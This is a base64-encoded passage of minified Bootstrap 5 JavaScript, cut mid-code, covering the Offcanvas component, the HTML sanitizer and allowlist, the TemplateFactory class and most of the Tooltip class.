LnJlbW92ZUF0dHJpYnV0ZSgicm9sZSIpLHRoaXMuX2NvbmZpZy5zY3JvbGx8fChuZXcgZ2kpLnJlc2V0KCksUC50cmlnZ2VyKHRoaXMuX2VsZW1lbnQsV2kpfSksdGhpcy5fZWxlbWVudCwhMCkpKX1kaXNwb3NlKCl7dGhpcy5fYmFja2Ryb3AuZGlzcG9zZSgpLHRoaXMuX2ZvY3VzdHJhcC5kZWFjdGl2YXRlKCksc3VwZXIuZGlzcG9zZSgpfV9pbml0aWFsaXplQmFja0Ryb3AoKXtjb25zdCB0PUJvb2xlYW4odGhpcy5fY29uZmlnLmJhY2tkcm9wKTtyZXR1cm4gbmV3IHlpKHtjbGFzc05hbWU6Im9mZmNhbnZhcy1iYWNrZHJvcCIsaXNWaXNpYmxlOnQsaXNBbmltYXRlZDohMCxyb290RWxlbWVudDp0aGlzLl9lbGVtZW50LnBhcmVudE5vZGUsY2xpY2tDYWxsYmFjazp0PygpPT57InN0YXRpYyIhPT10aGlzLl9jb25maWcuYmFja2Ryb3A/dGhpcy5oaWRlKCk6UC50cmlnZ2VyKHRoaXMuX2VsZW1lbnQsJGkpfTpudWxsfSl9X2luaXRpYWxpemVGb2N1c1RyYXAoKXtyZXR1cm4gbmV3IENpKHt0cmFwRWxlbWVudDp0aGlzLl9lbGVtZW50fSl9X2FkZEV2ZW50TGlzdGVuZXJzKCl7UC5vbih0aGlzLl9lbGVtZW50LCJrZXlkb3duLmRpc21pc3MuYnMub2ZmY2FudmFzIiwodD0+eyJFc2NhcGUiPT09dC5rZXkmJih0aGlzLl9jb25maWcua2V5Ym9hcmQ/dGhpcy5oaWRlKCk6UC50cmlnZ2VyKHRoaXMuX2VsZW1lbnQsJGkpKX0pKX1zdGF0aWMgalF1ZXJ5SW50ZXJmYWNlKHQpe3JldHVybiB0aGlzLmVhY2goKGZ1bmN0aW9uKCl7Y29uc3QgZT16aS5nZXRPckNyZWF0ZUluc3RhbmNlKHRoaXMsdCk7aWYoInN0cmluZyI9PXR5cGVvZiB0KXtpZih2b2lkIDA9PT1lW3RdfHx0LnN0YXJ0c1dpdGgoIl8iKXx8ImNvbnN0cnVjdG9yIj09PXQpdGhyb3cgbmV3IFR5cGVFcnJvcihgTm8gbWV0aG9kIG5hbWVkICIke3R9ImApO2VbdF0odGhpcyl9fSkpfX1QLm9uKGRvY3VtZW50LCJjbGljay5icy5vZmZjYW52YXMuZGF0YS1hcGkiLCdbZGF0YS1icy10b2dnbGU9Im9mZmNhbnZhcyJdJywoZnVuY3Rpb24odCl7Y29uc3QgZT1uKHRoaXMpO2lmKFsiQSIsIkFSRUEiXS5pbmNsdWRlcyh0aGlzLnRhZ05hbWUpJiZ0LnByZXZlbnREZWZhdWx0KCksbCh0aGlzKSlyZXR1cm47UC5vbmUoZSxXaSwoKCk9PnthKHRoaXMpJiZ0aGlzLmZvY3VzKCl9KSk7Y29uc3QgaT1RLmZpbmRPbmUoSGkpO2kmJmkhPT1lJiZ6aS5nZXRJbnN0YW5jZShpKS5oaWRlKCksemkuZ2V0T3JDcmVhdGVJbnN0YW5jZShlKS50b2dnbGUodGhpcyl9KSksUC5vbih3aW5kb3csImxvYWQuYnMub2ZmY2FudmFzLmRhdGEtYXBpIiwoKCk9Pntmb3IoY29uc3QgdCBvZiBRLmZpbmQoSGkpKXppLmdldE9yQ3JlYXRlSW5zdGFuY2UodCkuc2hvdygpfSkpLFAub24od2luZG93LCJyZXNpemUuYnMub2ZmY2FudmFzIiwoKCk9Pntmb3IoY29uc3QgdCBvZiBRLmZpbmQoIlthcmlhLW1vZGFsXVtjbGFzcyo9c2hvd11bY2xhc3MqPW9mZmNhbnZhcy1dIikpImZpeGVkIiE9PWdldENvbXB1dGVkU3R5bGUodCkucG9zaXRpb24mJnppLmdldE9yQ3JlYXRlSW5zdGFuY2UodCkuaGlkZSgpfSkpLHEoemkpLGcoemkpO2NvbnN0IHFpPW5ldyBTZXQoWyJiYWNrZ3JvdW5kIiwiY2l0ZSIsImhyZWYiLCJpdGVtdHlwZSIsImxvbmdkZXNjIiwicG9zdGVyIiwic3JjIiwieGxpbms6aHJlZiJdKSxSaT0vXig/Oig/Omh0dHBzP3xtYWlsdG98ZnRwfHRlbHxmaWxlfHNtcyk6fFteIyYvOj9dKig/OlsjLz9dfCQpKS9pLFZpPS9eZGF0YTooPzppbWFnZVwvKD86Ym1wfGdpZnxqcGVnfGpwZ3xwbmd8dGlmZnx3ZWJwKXx2aWRlb1wvKD86bXBlZ3xtcDR8b2dnfHdlYm0pfGF1ZGlvXC8oPzptcDN8b2dhfG9nZ3xvcHVzKSk7YmFzZTY0LFtcZCsvYS16XSs9KiQvaSxLaT0odCxlKT0+e2NvbnN0IGk9dC5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpO3JldHVybiBlLmluY2x1ZGVzKGkpPyFxaS5oYXMoaSl8fEJvb2xlYW4oUmkudGVzdCh0Lm5vZGVWYWx1ZSl8fFZpLnRlc3QodC5ub2RlVmFsdWUpKTplLmZpbHRlcigodD0+dCBpbnN0YW5jZW9mIFJlZ0V4cCkpLnNvbWUoKHQ9PnQudGVzdChpKSkpfSxRaT17IioiOlsiY2xhc3MiLCJkaXIiLCJpZCIsImxhbmciLCJyb2xlIiwvXmFyaWEtW1x3LV0qJC9pXSxhOlsidGFyZ2V0IiwiaHJlZiIsInRpdGxlIiwicmVsIl0sYXJlYTpbXSxiOltdLGJyOltdLGNvbDpbXSxjb2RlOltdLGRpdjpbXSxlbTpbXSxocjpbXSxoMTpbXSxoMjpbXSxoMzpbXSxoNDpbXSxoNTpbXSxoNjpbXSxpOltdLGltZzpbInNyYyIsInNyY3NldCIsImFsdCIsInRpdGxlIiwid2lkdGgiLCJoZWlnaHQiXSxsaTpbXSxvbDpbXSxwOltdLHByZTpbXSxzOltdLHNtYWxsOltdLHNwYW46W10sc3ViOltdLHN1cDpbXSxzdHJvbmc6W10sdTpbXSx1bDpbXX0sWGk9e2FsbG93TGlzdDpRaSxjb250ZW50Ont9LGV4dHJhQ2xhc3M6IiIsaHRtbDohMSxzYW5pdGl6ZTohMCxzYW5pdGl6ZUZuOm51bGwsdGVtcGxhdGU6IjxkaXY+PC9kaXY+In0sWWk9e2FsbG93TGlzdDoib2JqZWN0Iixjb250ZW50OiJvYmplY3QiLGV4dHJhQ2xhc3M6IihzdHJpbmd8ZnVuY3Rpb24pIixodG1sOiJib29sZWFuIixzYW5pdGl6ZToiYm9vbGVhbiIsc2FuaXRpemVGbjoiKG51bGx8ZnVuY3Rpb24pIix0ZW1wbGF0ZToic3RyaW5nIn0sVWk9e2VudHJ5OiIoc3RyaW5nfGVsZW1lbnR8ZnVuY3Rpb258bnVsbCkiLHNlbGVjdG9yOiIoc3RyaW5nfGVsZW1lbnQpIn07Y2xhc3MgR2kgZXh0ZW5kcyBGe2NvbnN0cnVjdG9yKHQpe3N1cGVyKCksdGhpcy5fY29uZmlnPXRoaXMuX2dldENvbmZpZyh0KX1zdGF0aWMgZ2V0IERlZmF1bHQoKXtyZXR1cm4gWGl9c3RhdGljIGdldCBEZWZhdWx0VHlwZSgpe3JldHVybiBZaX1zdGF0aWMgZ2V0IE5BTUUoKXtyZXR1cm4iVGVtcGxhdGVGYWN0b3J5In1nZXRDb250ZW50KCl7cmV0dXJuIE9iamVjdC52YWx1ZXModGhpcy5fY29uZmlnLmNvbnRlbnQpLm1hcCgodD0+dGhpcy5fcmVzb2x2ZVBvc3NpYmxlRnVuY3Rpb24odCkpKS5maWx0ZXIoQm9vbGVhbil9aGFzQ29udGVudCgpe3JldHVybiB0aGlzLmdldENvbnRlbnQoKS5sZW5ndGg+MH1jaGFuZ2VDb250ZW50KHQpe3JldHVybiB0aGlzLl9jaGVja0NvbnRlbnQodCksdGhpcy5fY29uZmlnLmNvbnRlbnQ9ey4uLnRoaXMuX2NvbmZpZy5jb250ZW50LC4uLnR9LHRoaXN9dG9IdG1sKCl7Y29uc3QgdD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJkaXYiKTt0LmlubmVySFRNTD10aGlzLl9tYXliZVNhbml0aXplKHRoaXMuX2NvbmZpZy50ZW1wbGF0ZSk7Zm9yKGNvbnN0W2UsaV1vZiBPYmplY3QuZW50cmllcyh0aGlzLl9jb25maWcuY29udGVudCkpdGhpcy5fc2V0Q29udGVudCh0LGksZSk7Y29uc3QgZT10LmNoaWxkcmVuWzBdLGk9dGhpcy5fcmVzb2x2ZVBvc3NpYmxlRnVuY3Rpb24odGhpcy5fY29uZmlnLmV4dHJhQ2xhc3MpO3JldHVybiBpJiZlLmNsYXNzTGlzdC5hZGQoLi4uaS5zcGxpdCgiICIpKSxlfV90eXBlQ2hlY2tDb25maWcodCl7c3VwZXIuX3R5cGVDaGVja0NvbmZpZyh0KSx0aGlzLl9jaGVja0NvbnRlbnQodC5jb250ZW50KX1fY2hlY2tDb250ZW50KHQpe2Zvcihjb25zdFtlLGldb2YgT2JqZWN0LmVudHJpZXModCkpc3VwZXIuX3R5cGVDaGVja0NvbmZpZyh7c2VsZWN0b3I6ZSxlbnRyeTppfSxVaSl9X3NldENvbnRlbnQodCxlLGkpe2NvbnN0IG49US5maW5kT25lKGksdCk7biYmKChlPXRoaXMuX3Jlc29sdmVQb3NzaWJsZUZ1bmN0aW9uKGUpKT9vKGUpP3RoaXMuX3B1dEVsZW1lbnRJblRlbXBsYXRlKHIoZSksbik6dGhpcy5fY29uZmlnLmh0bWw/bi5pbm5lckhUTUw9dGhpcy5fbWF5YmVTYW5pdGl6ZShlKTpuLnRleHRDb250ZW50PWU6bi5yZW1vdmUoKSl9X21heWJlU2FuaXRpemUodCl7cmV0dXJuIHRoaXMuX2NvbmZpZy5zYW5pdGl6ZT9mdW5jdGlvbih0LGUsaSl7aWYoIXQubGVuZ3RoKXJldHVybiB0O2lmKGkmJiJmdW5jdGlvbiI9PXR5cGVvZiBpKXJldHVybiBpKHQpO2NvbnN0IG49KG5ldyB3aW5kb3cuRE9NUGFyc2VyKS5wYXJzZUZyb21TdHJpbmcodCwidGV4dC9odG1sIikscz1bXS5jb25jYXQoLi4ubi5ib2R5LnF1ZXJ5U2VsZWN0b3JBbGwoIioiKSk7Zm9yKGNvbnN0IHQgb2Ygcyl7Y29uc3QgaT10Lm5vZGVOYW1lLnRvTG93ZXJDYXNlKCk7aWYoIU9iamVjdC5rZXlzKGUpLmluY2x1ZGVzKGkpKXt0LnJlbW92ZSgpO2NvbnRpbnVlfWNvbnN0IG49W10uY29uY2F0KC4uLnQuYXR0cmlidXRlcykscz1bXS5jb25jYXQoZVsiKiJdfHxbXSxlW2ldfHxbXSk7Zm9yKGNvbnN0IGUgb2YgbilLaShlLHMpfHx0LnJlbW92ZUF0dHJpYnV0ZShlLm5vZGVOYW1lKX1yZXR1cm4gbi5ib2R5LmlubmVySFRNTH0odCx0aGlzLl9jb25maWcuYWxsb3dMaXN0LHRoaXMuX2NvbmZpZy5zYW5pdGl6ZUZuKTp0fV9yZXNvbHZlUG9zc2libGVGdW5jdGlvbih0KXtyZXR1cm4iZnVuY3Rpb24iPT10eXBlb2YgdD90KHRoaXMpOnR9X3B1dEVsZW1lbnRJblRlbXBsYXRlKHQsZSl7aWYodGhpcy5fY29uZmlnLmh0bWwpcmV0dXJuIGUuaW5uZXJIVE1MPSIiLHZvaWQgZS5hcHBlbmQodCk7ZS50ZXh0Q29udGVudD10LnRleHRDb250ZW50fX1jb25zdCBKaT1uZXcgU2V0KFsic2FuaXRpemUiLCJhbGxvd0xpc3QiLCJzYW5pdGl6ZUZuIl0pLFppPSJmYWRlIix0bj0ic2hvdyIsZW49Ii5tb2RhbCIsbm49ImhpZGUuYnMubW9kYWwiLHNuPSJob3ZlciIsb249ImZvY3VzIixybj17QVVUTzoiYXV0byIsVE9QOiJ0b3AiLFJJR0hUOnAoKT8ibGVmdCI6InJpZ2h0IixCT1RUT006ImJvdHRvbSIsTEVGVDpwKCk/InJpZ2h0IjoibGVmdCJ9LGFuPXthbGxvd0xpc3Q6UWksYW5pbWF0aW9uOiEwLGJvdW5kYXJ5OiJjbGlwcGluZ1BhcmVudHMiLGNvbnRhaW5lcjohMSxjdXN0b21DbGFzczoiIixkZWxheTowLGZhbGxiYWNrUGxhY2VtZW50czpbInRvcCIsInJpZ2h0IiwiYm90dG9tIiwibGVmdCJdLGh0bWw6ITEsb2Zmc2V0OlswLDBdLHBsYWNlbWVudDoidG9wIixwb3BwZXJDb25maWc6bnVsbCxzYW5pdGl6ZTohMCxzYW5pdGl6ZUZuOm51bGwsc2VsZWN0b3I6ITEsdGVtcGxhdGU6JzxkaXYgY2xhc3M9InRvb2x0aXAiIHJvbGU9InRvb2x0aXAiPjxkaXYgY2xhc3M9InRvb2x0aXAtYXJyb3ciPjwvZGl2PjxkaXYgY2xhc3M9InRvb2x0aXAtaW5uZXIiPjwvZGl2PjwvZGl2PicsdGl0bGU6IiIsdHJpZ2dlcjoiaG92ZXIgZm9jdXMifSxsbj17YWxsb3dMaXN0OiJvYmplY3QiLGFuaW1hdGlvbjoiYm9vbGVhbiIsYm91bmRhcnk6IihzdHJpbmd8ZWxlbWVudCkiLGNvbnRhaW5lcjoiKHN0cmluZ3xlbGVtZW50fGJvb2xlYW4pIixjdXN0b21DbGFzczoiKHN0cmluZ3xmdW5jdGlvbikiLGRlbGF5OiIobnVtYmVyfG9iamVjdCkiLGZhbGxiYWNrUGxhY2VtZW50czoiYXJyYXkiLGh0bWw6ImJvb2xlYW4iLG9mZnNldDoiKGFycmF5fHN0cmluZ3xmdW5jdGlvbikiLHBsYWNlbWVudDoiKHN0cmluZ3xmdW5jdGlvbikiLHBvcHBlckNvbmZpZzoiKG51bGx8b2JqZWN0fGZ1bmN0aW9uKSIsc2FuaXRpemU6ImJvb2xlYW4iLHNhbml0aXplRm46IihudWxsfGZ1bmN0aW9uKSIsc2VsZWN0b3I6IihzdHJpbmd8Ym9vbGVhbikiLHRlbXBsYXRlOiJzdHJpbmciLHRpdGxlOiIoc3RyaW5nfGVsZW1lbnR8ZnVuY3Rpb24pIix0cmlnZ2VyOiJzdHJpbmcifTtjbGFzcyBjbiBleHRlbmRzIHp7Y29uc3RydWN0b3IodCxlKXtpZih2b2lkIDA9PT1LZSl0aHJvdyBuZXcgVHlwZUVycm9yKCJCb290c3RyYXAncyB0b29sdGlwcyByZXF1aXJlIFBvcHBlciAoaHR0cHM6Ly9wb3BwZXIuanMub3JnKSIpO3N1cGVyKHQsZSksdGhpcy5faXNFbmFibGVkPSEwLHRoaXMuX3RpbWVvdXQ9MCx0aGlzLl9pc0hvdmVyZWQ9bnVsbCx0aGlzLl9hY3RpdmVUcmlnZ2VyPXt9LHRoaXMuX3BvcHBlcj1udWxsLHRoaXMuX3RlbXBsYXRlRmFjdG9yeT1udWxsLHRoaXMuX25ld0NvbnRlbnQ9bnVsbCx0aGlzLnRpcD1udWxsLHRoaXMuX3NldExpc3RlbmVycygpLHRoaXMuX2NvbmZpZy5zZWxlY3Rvcnx8dGhpcy5fZml4VGl0bGUoKX1zdGF0aWMgZ2V0IERlZmF1bHQoKXtyZXR1cm4gYW59c3RhdGljIGdldCBEZWZhdWx0VHlwZSgpe3JldHVybiBsbn1zdGF0aWMgZ2V0IE5BTUUoKXtyZXR1cm4idG9vbHRpcCJ9ZW5hYmxlKCl7dGhpcy5faXNFbmFibGVkPSEwfWRpc2FibGUoKXt0aGlzLl9pc0VuYWJsZWQ9ITF9dG9nZ2xlRW5hYmxlZCgpe3RoaXMuX2lzRW5hYmxlZD0hdGhpcy5faXNFbmFibGVkfXRvZ2dsZSgpe3RoaXMuX2lzRW5hYmxlZCYmKHRoaXMuX2FjdGl2ZVRyaWdnZXIuY2xpY2s9IXRoaXMuX2FjdGl2ZVRyaWdnZXIuY2xpY2ssdGhpcy5faXNTaG93bigpP3RoaXMuX2xlYXZlKCk6dGhpcy5fZW50ZXIoKSl9ZGlzcG9zZSgpe2NsZWFyVGltZW91dCh0aGlzLl90aW1lb3V0KSxQLm9mZih0aGlzLl9lbGVtZW50LmNsb3Nlc3QoZW4pLG5uLHRoaXMuX2hpZGVNb2RhbEhhbmRsZXIpLHRoaXMudGlwJiZ0aGlzLnRpcC5yZW1vdmUoKSx0aGlzLl9lbGVtZW50LmdldEF0dHJpYnV0ZSgiZGF0YS1icy1vcmlnaW5hbC10aXRsZSIpJiZ0aGlzLl9lbGVtZW50LnNldEF0dHJpYnV0ZSgidGl0bGUiLHRoaXMuX2VsZW1lbnQuZ2V0QXR0cmlidXRlKCJkYXRhLWJzLW9yaWdpbmFsLXRpdGxlIikpLHRoaXMuX2Rpc3Bvc2VQb3BwZXIoKSxzdXBlci5kaXNwb3NlKCl9c2hvdygpe2lmKCJub25lIj09PXRoaXMuX2VsZW1lbnQuc3R5bGUuZGlzcGxheSl0aHJvdyBuZXcgRXJyb3IoIlBsZWFzZSB1c2Ugc2hvdyBvbiB2aXNpYmxlIGVsZW1lbnRzIik7aWYoIXRoaXMuX2lzV2l0aENvbnRlbnQoKXx8IXRoaXMuX2lzRW5hYmxlZClyZXR1cm47Y29uc3QgdD1QLnRyaWdnZXIodGhpcy5fZWxlbWVudCx0aGlzLmNvbnN0cnVjdG9yLmV2ZW50TmFtZSgic2hvdyIpKSxlPShjKHRoaXMuX2VsZW1lbnQpfHx0aGlzLl9lbGVtZW50Lm93bmVyRG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50KS5jb250YWlucyh0aGlzLl9lbGVtZW50KTtpZih0LmRlZmF1bHRQcmV2ZW50ZWR8fCFlKXJldHVybjt0aGlzLnRpcCYmKHRoaXMudGlwLnJlbW92ZSgpLHRoaXMudGlwPW51bGwpO2NvbnN0IGk9dGhpcy5fZ2V0VGlwRWxlbWVudCgpO3RoaXMuX2VsZW1lbnQuc2V0QXR0cmlidXRlKCJhcmlhLWRlc2NyaWJlZGJ5IixpLmdldEF0dHJpYnV0ZSgiaWQiKSk7Y29uc3R7Y29udGFpbmVyOm59PXRoaXMuX2NvbmZpZztpZih0aGlzLl9lbGVtZW50Lm93bmVyRG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNvbnRhaW5zKHRoaXMudGlwKXx8KG4uYXBwZW5kKGkpLFAudHJpZ2dlcih0aGlzLl9lbGVtZW50LHRoaXMuY29uc3RydWN0b3IuZXZlbnROYW1lKCJpbnNlcnRlZCIpKSksdGhpcy5fcG9wcGVyP3RoaXMuX3BvcHBlci51cGRhdGUoKTp0aGlzLl9wb3BwZXI9dGhpcy5fY3JlYXRlUG9wcGVyKGkpLGkuY2xhc3NMaXN0LmFkZCh0biksIm9udG91Y2hzdGFydCJpbiBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQpZm9yKGNvbnN0IHQgb2ZbXS5jb25jYXQoLi4uZG9jdW1lbnQuYm9keS5jaGlsZHJlbikpUC5vbih0LCJtb3VzZW92ZXIiLGgpO3RoaXMuX3F1ZXVlQ2FsbGJhY2soKCgpPT57UC50cmlnZ2VyKHRoaXMuX2VsZW1lbnQsdGhpcy5jb25zdHJ1Y3Rvci5ldmVudE5hbWUoInNob3duIikpLCExPT09dGhpcy5faXNIb3ZlcmVkJiZ0aGlzLl9sZWF2ZSgpLHRoaXMuX2lzSG92ZXJlZD0hMX0pLHRoaXMudGlwLHRoaXMuX2lzQW5pbWF0ZWQoKSl9aGlkZSgpe2lmKCF0aGlzLl9pc1Nob3duKCkpcmV0dXJuO2lmKFAudHJpZ2dlcih0aGlzLl9lbGVtZW50LHRoaXMuY29uc3RydWN0b3IuZXZlbnROYW1lKCJoaWRlIikpLmRlZmF1bHRQcmV2ZW50ZWQpcmV0dXJuO2NvbnN0IHQ9dGhpcy5fZ2V0VGlwRWxlbWVudCgpO2lmKHQuY2xhc3NMaXN0LnJlbW92ZSh0biksIm9udG91Y2hzdGFydCJpbiBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQpZm9yKGNvbnN0IHQgb2ZbXS5jb25jYXQoLi4uZG9jdW1lbnQuYm9keS5jaGlsZHJlbikpUC5vZmYodCwibW91c2VvdmVyIixoKTt0aGlzLl9hY3RpdmVUcmlnZ2VyLmNsaWNrPSExLHRoaXMuX2FjdGl2ZVRyaWdnZXIuZm9jdXM9ITEsdGhpcy5fYWN0aXZlVHJpZ2dlci5ob3Zlcj0hMSx0aGlzLl9pc0hvdmVyZWQ9bnVsbCx0aGlzLl9xdWV1ZUNhbGxiYWNrKCgoKT0+e3RoaXMuX2lzV2l0aEFjdGl2ZVRyaWdnZXIoKXx8KHRoaXMuX2lzSG92ZXJlZHx8dC5yZW1vdmUoKSx0aGlzLl9lbGVtZW50LnJlbW92ZUF0dHJpYnV0ZSgiYXJpYS1kZXNjcmliZWRieSIpLFAudHJpZ2dlcih0aGlzLl9lbGVtZW50LHRoaXMuY29uc3RydWN0b3IuZXZlbnROYW1lKCJoaWRkZW4iKSksdGhpcy5fZGlzcG9zZVBvcHBlcigpKX0pLHRoaXMudGlwLHRoaXMuX2lzQW5pbWF0ZWQoKSl9dXBkYXRlKCl7dGhpcy5fcG9wcGVyJiZ0aGlzLl9wb3BwZXIudXBkYXRlKCl9X2lzV2l0aENvbnRlbnQoKXtyZXR1cm4gQm9vbGVhbih0aGlzLl9nZXRUaXRsZSgpKX1fZ2V0VGlwRWxlbWVudCgpe3JldHVybiB0aGlzLnRpcHx8KHRoaXMudGlwPXRoaXMuX2NyZWF0ZVRpcEVsZW1lbnQodGhpcy5fbmV3Q29udGVudHx8dGhpcy5fZ2V0Q29udGVudEZvclRlbXBsYXRlKCkpKSx0aGlzLnRpcH1fY3JlYXRlVGlwRWxlbWVudCh0KXtjb25zdCBlPXRoaXMuX2dldFRlbXBsYXRlRmFjdG9yeSh0KS50b0h0bWwoKTtpZighZSlyZXR1cm4gbnVsbDtlLmNsYXNzTGlzdC5yZW1vdmUoWmksdG4pLGUuY2xhc3NMaXN0LmFkZChgYnMtJHt0aGlzLmNvbnN0cnVjdG9yLk5BTUV9LWF1dG9gKTtjb25zdCBpPSh0PT57ZG97dCs9TWF0aC5mbG9vcigxZTYqTWF0aC5yYW5kb20oKSl9d2hpbGUoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQodCkpO3JldHVybiB0fSkodGhpcy5jb25zdHJ1Y3Rvci5OQU1FKS50b1N0cmluZygpO3JldHVybiBlLnNldEF0dHJpYnV0ZSgiaWQiLGkpLHRoaXMuX2lzQW5pbWF0ZWQoKSYmZS5jbGFzc0xpc3QuYWRkKFppKSxlfXNldENvbnRlbnQodCl7dGhpcy5fbmV3Q29udGVudD10LHRoaXMuX2lzU2hvd24oKSYmKHRoaXMuX2Rpc3Bvc2VQb3BwZXIoKSx0aGlzLnNob3coKSl9X2dldFRlbXBsYXRlRmFjdG9yeSh0KXtyZXR1cm4gdGhpcy5fdGVtcGxhdGVGYWN0b3J5P3RoaXMuX3RlbXBsYXRlRmFjdG9yeS5jaGFuZ2VDb250ZW50KHQpOnRoaXMuX3RlbXBsYXRlRmFjdG9yeT1uZXcgR2koey4uLnRoaXMuX2NvbmZpZyxjb250ZW50OnQsZXh0cmFDbGFzczp0aGlzLl9yZXNvbHZlUG9zc2libGVGdW5jdGlvbih0aGlzLl9jb25maWcuY3VzdG9tQ2xhc3MpfSksdGhpcy5fdGVtcGxhdGVGYWN0b3J5fV9nZXRDb250ZW50Rm9yVGVtcGxhdGUoKXtyZXR1cm57Ii50b29sdGlwLWlubmVyIjp0aGlzLl9nZXRUaXRsZSgpfX1fZ2V0VGl0bGUoKXtyZXR1cm4gdGhpcy5fcmVzb2x2ZVBvc3NpYmxlRnVuY3Rpb24odGhpcy5fY29uZmlnLnRpdGxlKXx8dGhpcy5fZWxlbWVudC5nZXRBdHRyaWJ1dGUoImRhdGEtYnMtb3JpZ2luYWwtdGl0bGUiKX1faW5pdGlhbGl6ZU9uRGVsZWdhdGVkVGFyZ2V0KHQpe3JldHVybiB0aGlzLmNvbnN0cnVjdG9yLmdldE9yQ3JlYXRlSW5zdGFuY2UodC5kZWxlZ2F0ZVRhcmdldCx0aGlzLl9nZXREZWxlZ2F0ZUNvbmZpZygpKX1faXNBbmltYXRlZCgpe3JldHVybiB0aGlzLl9jb25maWcuYW5pbWF0aW9ufHx0aGlzLnRpcCYmdGhpcy50aXAuY2xhc3NMaXN0LmNvbnRhaW5zKFppKX1faXNTaG93bigpe3JldHVybiB0aGlzLnRpcCYmdGhpcy50aXAuY2xhc3NMaXN0LmNvbnRhaW5zKHRuKX1fY3JlYXRlUG9wcGVyKHQpe2NvbnN0IGU9ImZ1bmN0aW9uIj09dHlwZW9mIHRoaXMuX2NvbmZpZy5wbGFjZW1lbnQ/dGhpcy5fY29uZmlnLnBsYWNlbWVudC5jYWxsKHRoaXMsdCx0aGlzLl9lbGVtZW50KTp0aGlzLl9jb25maWcucGxhY2VtZW50LGk9cm5bZS50b1VwcGVyQ2FzZSgpXTtyZXR1cm4gVmUodGhpcy5fZWxlbWVudCx0LHRoaXMuX2dldFBvcHBlckNvbmZpZyhpKSl9X2dldE9mZnNldCgpe2NvbnN0e29mZnNldDp0fT10aGlzLl9jb25maWc7cmV0dXJuInN0cmluZyI9PXR5cGVvZiB0P3Quc3BsaXQoIiwiKS5tYXAoKHQ9Pk51bWJlci5wYXJzZUludCh0LDEwKSkpOiJmdW5jdGlvbiI9PXR5cGVvZiB0P2U9PnQoZSx0aGlzLl9lbGVtZW50KTp0fV9yZXNvbHZlUG9zc2libGVGdW5jdGlvbih0KXtyZXR1cm4iZnVuY3Rpb24iPT10eXBlb2YgdD90LmNhbGwodGhpcy5fZWxlbWVudCk6dH1fZ2V0UG9wcGVyQ29uZmlnKHQpe2NvbnN0IGU9e3BsYWNlbWVudDp0LG1vZGlmaWVyczpbe25hbWU6ImZsaXAiLG9wdGlvbnM6e2ZhbGxiYWNrUGxhY2VtZW50czp0aGlzLl9jb25maWcuZmFsbGJhY2tQbGFjZW1lbnRzfX0se25hbWU6Im9mZnNldCIsb3B0aW9uczp7b2Zmc2V0OnRoaXMuX2dldE9mZnNldCgpfX0se25hbWU6InByZXZlbnRPdmVyZmxvdyIsb3B0aW9uczp7Ym91bmRhcnk6dGhpcy5fY29uZmlnLmJvdW5kYXJ5fX0se25hbWU6ImFycm93IixvcHRpb25zOntlbGVtZW50OmAuJHt0aGlzLmNvbnN0cnVjdG9yLk5BTUV9LWFycm93YH19LHtuYW1lOiJwcmVTZXRQbGFjZW1lbnQiLGVuYWJsZWQ6ITAscGhhc2U6ImJlZm9yZU1haW4iLGZuOnQ9Pnt0aGlzLl9nZXRUaXBFbGVtZW50KCkuc2V0QXR0cmlidXRlKCJkYXRhLXBvcHBlci1wbGFjZW1lbnQiLHQuc3RhdGUucGxhY2VtZW50KX19XX07cmV0dXJuey4uLmUsLi4uImZ1bmN0aW9uIj09dHlwZW9mIHRoaXMuX2NvbmZpZy5wb3BwZXJDb25maWc/dGhpcy5fY29uZmlnLnBvcHBlckNvbmZpZyhlKTp0aGlzLl9jb25maWcucG9wcGVyQ29uZmlnfX1fc2V0TGlzdGVuZXJzKCl7Y29uc3QgdD10aGlzLl9jb25maWcudHJpZ2dlci5zcGxpdCgiICIpO2Zvcihjb25zdCBlIG9mIHQpaWYoImNsaWNrIj09PWUpUC5vbih0aGlzLl9lbGVtZW50LHRoaXMuY29uc3RydWN0b3IuZXZlbnROYW1lKCJjbGljayIpLHRoaXMuX2NvbmZpZy5zZWxlY3RvciwodD0+e3RoaXMuX2luaXRpYWxpemVPbkRlbGVnYXRlZFRhcmdldCh0KS50b2dnbGUoKX0pKTtlbHNlIGlmKCJtYW51YWwiIT09ZSl7Y29uc3QgdD1lPT09c24/dGhpcy5jb25zdHJ1Y3Rvci5ldmVudE5hbWUoIm1vdXNlZW50ZXIiKTp0aGlzLmNvbnN0cnVjdG9yLmV2ZW50TmFtZSgiZm9jdXNpbiIpLGk9ZT09PXNuP3RoaXMuY29uc3RydWN0b3IuZXZlbnROYW1lKCJtb3VzZWxlYXZlIik6dGhpcy5jb25zdHJ1Y3Rvci5ldmVudE5hbWUoImZvY3Vzb3V0Iik7UC5vbih0aGlzLl9lbGVtZW50LHQsdGhpcy5fY29uZmlnLnNlbGVjdG9yLCh0PT57Y29uc3QgZT10aGlzLl9pbml0aWFsaXplT25EZWxlZ2F0ZWRUYXJnZXQodCk7ZS5fYWN0aXZlVHJpZ2dlclsiZm9jdXNpbiI9PT10LnR5cGU/b246c25dPSEwLGUuX2VudGVyKCl9KSksUC5vbih0aGlzLl9lbGVtZW50LGksdGhpcy5fY29uZmlnLnNlbGVjdG9yLCh0PT57Y29uc3QgZT10aGlzLl9pbml0aWFsaXplT25EZWxlZ2F0ZWRUYXJnZXQodCk7ZS5fYWN0aXZlVHJpZ2dlclsiZm9jdXNvdXQiPT09dC50eXBlP29uOnNuXT1lLl9lbGVtZW50LmNvbnRhaW5zKHQucmVsYXRlZFRhcmdldCksZS5fbGVhdmUoKX0pKX10aGlzLl9oaWRlTW9kYWxIYW5kbGVyPSgpPT57dGhpcy5fZWxlbWVudCYmdGhpcy5oaWRlKCl9LFAub24odGhpcy5fZWxlbWVudC5jbG9zZXN0KGVuKSxubix0aGlzLl9oaWRlTW9kYWxIYW5kbGVyKX1fZml4VGl0bGUoKXtjb25zdCB0PXRoaXMuX2VsZW1lbnQuZ2V0QXR0cmlidXRlKCJ0aXRsZSIpO3QmJih0aGlzLl9lbGVtZW50LmdldEF0dHJpYnV0ZSgiYXJpYS1sYWJlbCIpfHx0aGlzLl9lbGVtZW50LnRleHRDb250ZW50LnRyaW0oKXx8dGhpcy5fZWxlbWVudC5zZXRBdHRyaWJ1dGUoImFyaWEtbGFiZWwiLHQp